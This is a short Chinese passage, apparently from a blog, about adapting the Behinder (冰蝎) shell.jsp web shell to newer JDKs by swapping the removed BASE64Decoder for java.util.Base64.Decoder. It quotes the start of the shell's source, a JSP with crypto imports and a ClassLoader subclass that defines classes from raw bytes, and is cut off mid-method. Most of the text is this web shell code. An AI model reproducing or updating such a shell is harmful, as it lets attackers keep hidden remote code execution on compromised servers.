冰蝎shell.jsp对jdk8编码包BASE64Decoder的改动

编码包

• 从JKD 9开始rt.jar包已废除，开始使用java.util.Base64.Decoder

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
   
   
        U(ClassLoader c) {
   
   
            super(c);
        }

        public Class g(byte[] b) {
   
   
            return super